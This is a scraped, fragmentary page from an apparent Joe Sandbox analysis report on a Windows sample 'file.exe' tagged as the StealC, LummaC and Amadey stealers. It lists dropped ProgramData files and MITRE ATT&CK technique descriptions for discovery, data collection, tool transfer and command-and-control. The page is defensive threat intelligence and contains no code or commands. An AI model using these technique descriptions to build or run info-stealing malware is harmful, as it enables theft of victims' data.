Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFHDAEHD

C:\ProgramData\EBGIDGCAFCBKECAAKJJK

C:\ProgramData\FBFCFIEBKEGHIDGCAFBF

C:\ProgramData\FCAKFCGCGIEGDGCAAKKJJJJDHJ

C:\ProgramData\FIECBFIDGDAKFHIEHJKFHDHDBG

C:\ProgramData\KFCFIEHCFIECBGCBFHIJ

C:\ProgramData\KFCGDBAK

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre